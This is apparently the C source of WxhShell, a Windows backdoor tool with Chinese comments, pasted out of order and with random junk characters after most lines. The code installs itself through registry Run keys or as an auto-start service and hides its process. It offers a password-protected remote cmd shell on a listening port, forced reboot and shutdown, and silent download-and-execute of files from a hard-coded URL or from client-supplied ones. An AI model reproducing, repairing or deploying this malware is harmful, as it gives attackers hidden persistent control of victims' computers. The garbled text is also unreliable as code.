    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3^NHV g  
    if(Boot(SHUTDOWN)) 90ZMO7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RE~9L5i5  
    else { OEMYS I%  
    closesocket(wsh); |^: A,%>  
    ExitThread(0); ;Ih:$"$!  
    } tCZ3n  
    break; #6w\r&R6  
    } prJ]u H,  
  // 获取shell .;),e#  
  case 's': { -nM=^ i4)  
    CmdShell(wsh); :zN{>,sC  
    closesocket(wsh); C%#%_ "N  
    ExitThread(0); X9ua&T2(l  
    break; v[-.]b*5A$  
  } la37cG  
  // 退出 r1vF/yt(  
  case 'x': { D}.Pk>5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +hoZW R  
    CloseIt(wsh); HP/f`8  
    break; LmCr[9/  
    } K+2sq+ 3q  
  // 离开 k9]M=eO  
  case 'q': { e+'PRVc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t(d$v_*y51  
    closesocket(wsh); +OEheG8  
    WSACleanup(); |AgdD  
    exit(1); (T&rvE  
    break; 1a_R8j  
        } ^?-SMcUHB  
  } WDr C  
  } mI$<+S1!  
S_ELZO#7  
  // 提示信息 #ZzFAt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f}1B-  
} ">-J+ST%  
  } 6A$  Y]u  
2=?:(e9  
  return; c;RL<83:  
} _BC%98:WP  
>VnBWa<j3  
// shell模块句柄 1u9*)w  
int CmdShell(SOCKET sock) n:TWZ.9  
{ IF>dsAAI<  
STARTUPINFO si;  /y2)<{{I  
ZeroMemory(&si,sizeof(si)); 2b&&3u8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '3<AzR2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /=y _ #l  
PROCESS_INFORMATION ProcessInfo; AbqeZn  
char cmdline[]="cmd"; 7dg2-4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B\<;e  
  return 0; Ne!0`^`~  
} d9qA\ [  
VM.4w.})_E  
// 自身启动模式 3zr95$Mt  
int StartFromService(void) #0:N$'SZ  
{ VuU{7:  
typedef struct [5"F=tT7WP  
{ 2kXa  
  DWORD ExitStatus; X npn{  
  DWORD PebBaseAddress; 2oO&8:`tv  
  DWORD AffinityMask; ^9jrI  
  DWORD BasePriority; 6=aXz2.f  
  ULONG UniqueProcessId; h?D>Dfeg%  
  ULONG InheritedFromUniqueProcessId; 5LYzX+a)  
}   PROCESS_BASIC_INFORMATION; Kw/7X[|'G  
o@5zf{-  
PROCNTQSIP NtQueryInformationProcess; CogN1,GJ  
` !um )4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3D2\#6yo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yg~$1b@  
t[|aM-F&>  
  HANDLE             hProcess; 5`3Wua  
  PROCESS_BASIC_INFORMATION pbi; l(B(gPvU  
Vw@?t(l>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2jT2~D.U1  
  if(NULL == hInst ) return 0; A0A]#=S  
~LG<Uu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?l/$cO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W }"n*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Ohh) $  
x("V +y*  
  if (!NtQueryInformationProcess) return 0; 0Mo?9??  
XwlF[3VbiX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .@kjC4m  
  if(!hProcess) return 0; cH7Gb|,M  
/>13?o#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C25EIIdRb  
F, 39'<N[  
  CloseHandle(hProcess); IE0hC\C}  
71I: P|.>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6");NHE  
if(hProcess==NULL) return 0; 9e _8Z@|  
nX>HRdC  
HMODULE hMod; VZ1u/O?ub  
char procName[255]; ZR*Dl.GWY  
unsigned long cbNeeded; +\yQZ{4'@  
b9L" ?{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mh :eUFe  
cxB{EH,2Um  
  CloseHandle(hProcess); hVl^vw7o  
JO=kfWW  
if(strstr(procName,"services")) return 1; // 以服务启动 ;X}!;S%K  
mNDd>4%H_  
  return 0; // 注册表启动 wticA#mb  
} "74Rn"d5  
)Zbrg~-@  
// 主模块 ]N4?*S*jd)  
int StartWxhshell(LPSTR lpCmdLine) XnNU-UCX  
{ .ZVADVg\  
  SOCKET wsl; _@_w6Rh  
BOOL val=TRUE; 7|Bg--G1  
  int port=0; 2)4oe  
  struct sockaddr_in door; 6 66f;h  
%kXg|9Bx!  
  if(wscfg.ws_autoins) Install(); T*bBw  
v$]eCj'  
port=atoi(lpCmdLine); 56l1&hp8In  
o"M h wh  
if(port<=0) port=wscfg.ws_port; {[Z}<#n)  
@";zM&  
  WSADATA data; eW/sP Q-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s+7#TdhA  
2r*Yd(e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p`mNy o'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >oasA2S  
  door.sin_family = AF_INET; WcZck{ehd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q3P*&6wA  
  door.sin_port = htons(port); b.lK0 Xo  
wu`P=-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `44 }kkBT  
closesocket(wsl); m6iQB\ \  
return 1; +S C;@'  
} [~U CYYl  
Izr_]%  
  if(listen(wsl,2) == INVALID_SOCKET) { d"~-D;  
closesocket(wsl); ]O 8hkGa  
return 1; E(/M?>t-  
} am(jmf::  
  Wxhshell(wsl); nAY'1!Oi  
  WSACleanup(); us$=)m~v+  
l6z}D; 4  
return 0; ")i>-1_H  
 bMDj+i  
} KoF_G[m  
`zjbyY  
// 以NT服务方式启动 5FQtlB9F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xn3 \a81  
{ Lcow2 SbH  
DWORD   status = 0; >xK!J?!K  
  DWORD   specificError = 0xfffffff; o@j)clf  
$#LR4 [Fq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _+NM<o#A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J%SuiT$L&Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MzX4/*ba  
  serviceStatus.dwWin32ExitCode     = 0; G}ccf%  
  serviceStatus.dwServiceSpecificExitCode = 0; bUS"1Tg]*6  
  serviceStatus.dwCheckPoint       = 0; hsEQ6  
  serviceStatus.dwWaitHint       = 0; #!RO,{FT  
p"k[ac{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ie9,ye"  
  if (hServiceStatusHandle==0) return; %K7wScz7  
K! e51P  
status = GetLastError(); dRu|*s  
  if (status!=NO_ERROR) e=#'rDm  
{ NU{`eM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MlmdfO%Y  
    serviceStatus.dwCheckPoint       = 0; lk`,s  
    serviceStatus.dwWaitHint       = 0; H(,D5y`k1  
    serviceStatus.dwWin32ExitCode     = status; F* h\#?  
    serviceStatus.dwServiceSpecificExitCode = specificError; l0GsY.~,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O;m@fS2%3  
    return; D g~L"  
  } +%: /!T@@  
9zs!rlzQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \2huDNW& !  
  serviceStatus.dwCheckPoint       = 0; J_ y+.p- 5  
  serviceStatus.dwWaitHint       = 0; K]s*rPT/,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c3]X#Qa#m$  
} [8$K i$;  
uFl19  
// 处理NT服务事件,比如:启动、停止 Yp(F}<f?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x!R pRq9  
{ ( {}Z '  
switch(fdwControl) %{*)-_M  
{ d]!`II  
case SERVICE_CONTROL_STOP: NPY\ >pf  
  serviceStatus.dwWin32ExitCode = 0; U,e'vS{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lw j,8  
  serviceStatus.dwCheckPoint   = 0; I/V lH:o  
  serviceStatus.dwWaitHint     = 0; zvAUF8'_  
  { h qT6]*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hiBZZ+^[  
  } DLBHZ?+!  
  return; B;=-h(E}vJ  
case SERVICE_CONTROL_PAUSE: D_2~ 6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bxR6@  
  break; ^Pp2T   
case SERVICE_CONTROL_CONTINUE: _jCk)3KO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `j)S7KN  
  break; s.qo/o\b  
case SERVICE_CONTROL_INTERROGATE: "Di8MMGOY  
  break; noL&>G  
}; {>rGe#Vu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eF=cMC  
} @B#\3WNt  
M|DVFC  
// 标准应用程序主函数 O}w"@gO@.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sjIUW$  
{ _'Rzu'$`  
X" m0||  
// 获取操作系统版本 'ugc=-0pd  
OsIsNt=GetOsVer(); 43m@4Yb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R.'-jvO  
;%W]b  
  // 从命令行安装 SR8)4:aKW  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6>=yX6U1q^  
Ql8s7%  
  // 下载执行文件 nkTpUbS'f?  
if(wscfg.ws_downexe) { 734f &2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vOQ 3A%/  
  WinExec(wscfg.ws_filenam,SW_HIDE); z}z 6Vg  
} p'f8?jt  
[@;q#.}Z  
if(!OsIsNt) { /9@[gv A  
// 如果时win9x,隐藏进程并且设置为注册表启动 3Z%~WE;I  
HideProc(); {a9( Qi  
StartWxhshell(lpCmdLine); ='G-wX&k  
} s{9 G//  
else sFbN)Cx  
  if(StartFromService())  @ ^cR  
  // 以服务方式启动 D`NPU  
  StartServiceCtrlDispatcher(DispatchTable); 6m$lK%P{1  
else L'L[Vpx  
  // 普通方式启动 j[Q9_0R~lR  
  StartWxhshell(lpCmdLine); uEui{_2$  
z)Gd3C  
return 0; +oevNM  
} +=MN_  
4^(aG7  
f Hd|tl  
F?+\J =LT  
=========================================== sXaudT  
;_p$5GVR|  
c4V%>A  
cw"Ou%  
Us2IeR  
Lm3~< vP1e  
" 8}K^o>J&K  
|}><)}  
#include <stdio.h> zI,z<-  
#include <string.h> wQ9?Z.-$  
#include <windows.h> m gE r+  
#include <winsock2.h> (L<q Jd1Q  
#include <winsvc.h> _J"fgxW  
#include <urlmon.h> ^).  
~JQ6V?fucD  
#pragma comment (lib, "Ws2_32.lib") $uUR@l  
#pragma comment (lib, "urlmon.lib") 8+@j %l j  
/b7]NC%  
#define MAX_USER   100 // 最大客户端连接数 f]48-X,^6  
#define BUF_SOCK   200 // sock buffer < Dt/JA(p  
#define KEY_BUFF   255 // 输入 buffer `0, G' F  
Nsn~mY%  
#define REBOOT     0   // 重启 HA74s':FN  
#define SHUTDOWN   1   // 关机 v>0I=ut  
|*$0~mA  
#define DEF_PORT   5000 // 监听端口 ykYef  
E#R1  
#define REG_LEN     16   // 注册表键长度 eLIZ<zzW0}  
#define SVC_LEN     80   // NT服务名长度 -AN5LE9-  
A0,h 7<i  
// 从dll定义API #mYe@[p@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Re+oCJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :T{VCw:*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d uP0US  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K@%gvLa\  
(&SPMhs_|(  
// wxhshell配置信息 t$ 97[ay  
struct WSCFG { /dO*t4$@?  
  int ws_port;         // 监听端口 g:Q:cSg<  
  char ws_passstr[REG_LEN]; // 口令 10Q!-K),p  
  int ws_autoins;       // 安装标记, 1=yes 0=no VTU(C&"S  
  char ws_regname[REG_LEN]; // 注册表键名 P?^%i  
  char ws_svcname[REG_LEN]; // 服务名 7K ~)7U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w  _4O;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7 0PGbAD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zv2]X-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no * mH&Gn1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'P*OzZ4>$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P%ThW9^vnj  
>{l b|Vx  
}; PjofW%7F  
9oIfSr,y  
// default Wxhshell configuration #0?3RP  
struct WSCFG wscfg={DEF_PORT, ;66{S'*[  
    "xuhuanlingzhe", Xvk+1:D  
    1, V>`9ey!U  
    "Wxhshell", v,Zoy|Lu  
    "Wxhshell", hYh~%^0dt  
            "WxhShell Service", }t:* w  
    "Wrsky Windows CmdShell Service", yY{  
    "Please Input Your Password: ", 8H1&=)M=  
  1, nBLb1T  
  "http://www.wrsky.com/wxhshell.exe",  [aG   
  "Wxhshell.exe" xs )jO+.  
    }; &O#1*y Z  
p"7[heExw  
// 消息定义模块 sgnc$x"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /EJy?TON*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; scTt53v^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o^'QGs "  
char *msg_ws_ext="\n\rExit."; @iMF&\KC  
char *msg_ws_end="\n\rQuit."; GvvKM=1  
char *msg_ws_boot="\n\rReboot..."; R](cko=  
char *msg_ws_poff="\n\rShutdown..."; }346uF7C  
char *msg_ws_down="\n\rSave to "; E^A!k=>  
B~M6l7^?  
char *msg_ws_err="\n\rErr!"; of GoaH*h  
char *msg_ws_ok="\n\rOK!"; M`8c|*G   
sl"H!cwF  
char ExeFile[MAX_PATH]; 2Q7X"ek~[  
int nUser = 0; L4ct2|w}ul  
HANDLE handles[MAX_USER]; X4!Jj *  
int OsIsNt; ;@:-T/=  
+G\i$d;St  
SERVICE_STATUS       serviceStatus; u#`51Hr$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $~j9{*]5  
gzy|K%K  
// 函数声明 Gm3`/!r  
int Install(void); HIt9W]koO  
int Uninstall(void); yhI;FNSf  
int DownloadFile(char *sURL, SOCKET wsh); yqtaQ0F~  
int Boot(int flag); ks %arm&  
void HideProc(void); L "'d(MD  
int GetOsVer(void); UR S=1+  
int Wxhshell(SOCKET wsl); Pp_? z0M  
void TalkWithClient(void *cs); Ed{sC[j=  
int CmdShell(SOCKET sock); A_e5Vb ,u.  
int StartFromService(void); 3xmPY.  
int StartWxhshell(LPSTR lpCmdLine); ksJ 1:_  
hs:iyr]@9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :h/v"2uDN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]0SqLe  
+EqL|  
// 数据结构和表定义 J\p-5[E  
SERVICE_TABLE_ENTRY DispatchTable[] = -N6ek`  
{ ^<uQ9p^B  
{wscfg.ws_svcname, NTServiceMain}, o*"Q{Xh#Qd  
{NULL, NULL} QC&,C}t,  
}; fZLAZMrM  
8rFP*K9  
// 自我安装 rz2,42H]  
int Install(void) 3`RI[%AN~  
{ QUfF>,[sv  
  char svExeFile[MAX_PATH]; e p Dp*  
  HKEY key; DRTT3;,N  
  strcpy(svExeFile,ExeFile); _34%St!lg  
)K`tnb.Pf  
// 如果是win9x系统,修改注册表设为自启动 J!dv"Ww"  
if(!OsIsNt) { \:'6_K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X?JtEQ~>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fg}t{e]3a  
  RegCloseKey(key); l Ft&cy2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P"t Dq&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (:%t  
  RegCloseKey(key); w>}n1Nc$G  
  return 0; '<*%<J{(  
    } {yEL$8MC  
  } 3H4T*&9;n  
} %da-/[  
else { tL1\q Qg  
;XlCd[J<  
// 如果是NT以上系统,安装为系统服务 :Z_abKt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o]&P0 b  
if (schSCManager!=0) Qw|y%Td8r  
{ Goy[P2m  
  SC_HANDLE schService = CreateService 0dI7{o;<|  
  ( A`>^A]%  
  schSCManager, x&m(h1h  
  wscfg.ws_svcname, `krVfE;_O  
  wscfg.ws_svcdisp, D$rn?@&g  
  SERVICE_ALL_ACCESS, +&J1D8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jHA(mU)b  
  SERVICE_AUTO_START, gp H@F X  
  SERVICE_ERROR_NORMAL, Ox)_7A  
  svExeFile, 5LU7}v~/  
  NULL, Ad>@8^  
  NULL, A1z<2.R  
  NULL, 3O _O5  
  NULL, 7uF @Xh  
  NULL }g|9P SbJ  
  ); m`Z.xIA7;  
  if (schService!=0) :b_hF  
  { [biz[ fm  
  CloseServiceHandle(schService); CP$,fj  
  CloseServiceHandle(schSCManager); /Bk`3~]E>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6@FxPi9|#  
  strcat(svExeFile,wscfg.ws_svcname); vkM_a}%<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $YJi]:3&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "+ k}#<P4\  
  RegCloseKey(key); B)0;gWK  
  return 0; :6m"}8*q8  
    } 73{<;z}i  
  } J*ZcZ FbWN  
  CloseServiceHandle(schSCManager); T8W^qrx.v  
} d`j<Bbf-  
} %N\8!aXnf  
9\kEyb$F=  
return 1; L&]{GNw  
} ]~ S zb  
tn(6T^u  
// 自我卸载 rTJ;s  
int Uninstall(void) XB:E<I'q!3  
{ N f}ZG  
  HKEY key; T$;BZ=_  
m Q<Vwx0  
if(!OsIsNt) { 0wF)bQv1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zY-?Bv_D  
  RegDeleteValue(key,wscfg.ws_regname); aqQ  U7  
  RegCloseKey(key); o0dD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q#&6J=}  
  RegDeleteValue(key,wscfg.ws_regname); )2u_c=  
  RegCloseKey(key); qK%#$JgqA  
  return 0; `nc=@" 1  
  } >rYMOC~  
} 8hSw4S "$  
} OL@$RTh  
else { n S Vr,wU  
U0N6\+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); };gcM @]]E  
if (schSCManager!=0) _5OxESE  
{ azRp4~2?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Wr5F9q  
  if (schService!=0) /NuO>kQa  
  { `?d` #) Ck  
  if(DeleteService(schService)!=0) { EQ"+G[j~x  
  CloseServiceHandle(schService); "od 2i\  
  CloseServiceHandle(schSCManager); OhM_{]*  
  return 0; }"/>,  
  } e YiqTWn:  
  CloseServiceHandle(schService); SI=7$8T5=5  
  } V%`\x\Xat  
  CloseServiceHandle(schSCManager); sy6[%8D$  
} wzY{ii  
} Pv*]AF;9pQ  
]v+yeGIKS  
return 1; iRV=I,  
} ZJ/K MW  
X"jtPYCpV{  
// 从指定url下载文件 VLfKN)g  
int DownloadFile(char *sURL, SOCKET wsh) FvD/z ;N  
{ L9!\\U  
  HRESULT hr; 74c5\UxA  
char seps[]= "/"; on1B~?*D  
char *token; E7I$GD  
char *file; B!4~A{  
char myURL[MAX_PATH]; z0&Y_Up+5  
char myFILE[MAX_PATH]; o76{;Bl\O  
\86NV="U  
strcpy(myURL,sURL); (Dx p  
  token=strtok(myURL,seps); vLGnLpt  
  while(token!=NULL) 0u +_D8G  
  { ^3QJv{)Q  
    file=token; s'BlFB n  
  token=strtok(NULL,seps); uSH_=^yTQ  
  } &#!1 Y[e^  
)`mBvS.}  
GetCurrentDirectory(MAX_PATH,myFILE); B'bOK`p  
strcat(myFILE, "\\"); {=;<1PykLb  
strcat(myFILE, file); HK VtO%&  
  send(wsh,myFILE,strlen(myFILE),0); b&9~F6aM  
send(wsh,"...",3,0); a.a ,_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); | 3`8$-  
  if(hr==S_OK) F'T.-lEO_d  
return 0; vdot .  
else v^Rw9*w{  
return 1; !1Ht{cA0  
I ^[[*Bh*C  
} d)d0,fi?-  
N@^:IfJ+=  
// 系统电源模块 3u< ntx ><  
int Boot(int flag) ZVrZkd `  
{ o.s(=iG  
  HANDLE hToken; oqzWL~  
  TOKEN_PRIVILEGES tkp; 20I/En  
e%IbM E]x  
  if(OsIsNt) { p =-~qBw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,;f5OUl?[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RYdI$&]  
    tkp.PrivilegeCount = 1; e\!Aoky  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7}`FXB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R \]C;@J<  
if(flag==REBOOT) { DcE4r>8B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yJ ;Qe_up  
  return 0; #7KR`H  
} ;s-@m<  
else { 7y_<BCx h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? 51i0~O=  
  return 0; 5=R]1YI~$  
} qd<I;*WV  
  } gEw9<Y  
  else { >*Ej2ex  
if(flag==REBOOT) { unKgOvtj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~wO-Hgd  
  return 0; u'T-}95 V  
} ^x_$%8  
else { Ejnk\8:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C~C`K%7  
  return 0; Av4(=}M}@  
} WBb*2  
} z;_vl  
-!K&\hEjj  
return 1; 5>ktr)]  
} Nr).*]g@~  
)uMv]  
// win9x进程隐藏模块 D4uAwmc  
void HideProc(void) &gUa^5'#  
{ #on ,;QN  
7 |GSs=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9%bErMHL  
  if ( hKernel != NULL ) `6;$Z)=.  
  { NEvNj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i% , 't  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w'E?L`c  
    FreeLibrary(hKernel); ia3!&rZ  
  } XVJH>Zw  
y,bD i9*|  
return; L&~'SC  
} B^/k`h6J  
S _ UAz  
// 获取操作系统版本 Dwr 9}Z-]  
int GetOsVer(void) Pn6~66a6  
{ "_&c[VptWi  
  OSVERSIONINFO winfo; ?%Ww3cU+J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M'F<1(  
  GetVersionEx(&winfo); @|bJMi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h=JW^\?\]  
  return 1; !l Egta[Ql  
  else )xKW  
  return 0; -GM"gkz  
} V!>j: "  
t\TxK7i  
// 客户端句柄模块 ST;o^\B  
int Wxhshell(SOCKET wsl) </1]eDnU  
{ |\/\FK]?]  
  SOCKET wsh; {cb<9Fii  
  struct sockaddr_in client; = ^Vp \  
  DWORD myID; O:GAS [O`  
u6Wan*I?  
  while(nUser<MAX_USER) MLg{Y?@  
{ }`%ks  
  int nSize=sizeof(client); 9%"`9j~H>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2eA.04F  
  if(wsh==INVALID_SOCKET) return 1; {?2|rv)  
GZKYRPg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r| )45@  
if(handles[nUser]==0) SbzJeaZv  
  closesocket(wsh); {$i>\)  
else E`<ou_0N@q  
  nUser++; oif|X7H;  
  } ,<)D3K<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZoSyc--Bv  
ZS;V?]\(  
  return 0; &/ED.K  
} \7>*ULP  
nk7>iK!i  
// 关闭 socket sR[!6[AA  
void CloseIt(SOCKET wsh) ",J&UTUh  
{ q=D8 Nz  
closesocket(wsh); 1q3"qY H  
nUser--; 6vR6=@(`>  
ExitThread(0); ,UNk]vd  
} kh:_,g  
Y6Cm PxOQ  
// 客户端请求句柄 0t}v@-abU  
void TalkWithClient(void *cs) c$^v~lQS  
{ :]]x^wony~  
&qWB\m  
  SOCKET wsh=(SOCKET)cs; ir>h3Zk   
  char pwd[SVC_LEN]; G &NK  
  char cmd[KEY_BUFF]; l U4 I*  
char chr[1]; :vzIc3~c:`  
int i,j; 79@CO6  
eq(h {*rC  
  while (nUser < MAX_USER) { a0gg<Ml  
0B!(i.w  
if(wscfg.ws_passstr) { Q"nw.FjUG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cz /cY:o)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C;K+ITlJ  
  //ZeroMemory(pwd,KEY_BUFF); wWfj#IB;R  
      i=0; X[1D$1Dvw  
  while(i<SVC_LEN) { 2[uFAgf@  
SA&(%f1d  
  // 设置超时 }2"W0ZdWD  
  fd_set FdRead; 8.N`^Nj 1  
  struct timeval TimeOut; qHdUnW  
  FD_ZERO(&FdRead); 3nc\6v%  
  FD_SET(wsh,&FdRead); nKS*y*  
  TimeOut.tv_sec=8; 6w;`A9G[YI  
  TimeOut.tv_usec=0; ".$kOH_:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j~K(xf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z|Rc54Ct  
WysWg7,r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~jzLw@"~$^  
  pwd=chr[0]; _cWuRvY  
  if(chr[0]==0xd || chr[0]==0xa) { f^lcw  
  pwd=0; 5[jS(1a`c  
  break; ZvT,HJ0?  
  } 2w8cJadT'p  
  i++; kk6 !krZ  
    } ? ,s'UqR  
9?hZf$z  
  // 如果是非法用户,关闭 socket gN:F50   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h8 N|m0W  
} .Y]0gi8z  
#&?ER]|3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BO7HJF)a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xm>zT'B_tJ  
FGHCHSqLq  
while(1) { J8r8#Zz  
O!f37n-TB  
  ZeroMemory(cmd,KEY_BUFF); 9t)Hi qj  
9?O8j1F  
      // 自动支持客户端 telnet标准   pC,[!>0g8  
  j=0; Y * rujn{  
  while(j<KEY_BUFF) { pgh(~ [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E~fb#6  
  cmd[j]=chr[0];  @9_mk@  
  if(chr[0]==0xa || chr[0]==0xd) { }BI6dZ~2A  
  cmd[j]=0; |TM n  
  break; `G\Gk|4; 2  
  } 5G\OINxy  
  j++; DMG'8\5C  
    } cpP}NJb0;%  
&T0]tzk*,  
  // 下载文件  d9k`  
  if(strstr(cmd,"http://")) { v/rBjUc+X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  "q M  
  if(DownloadFile(cmd,wsh)) 2DFsMT>X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %|}*xMQ  
  else '%ilF1#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]goJ- &  
  } *`u|1}h|  
  else { n8;p]{  
:FS5BT$=  
    switch(cmd[0]) { 1mJUl x  
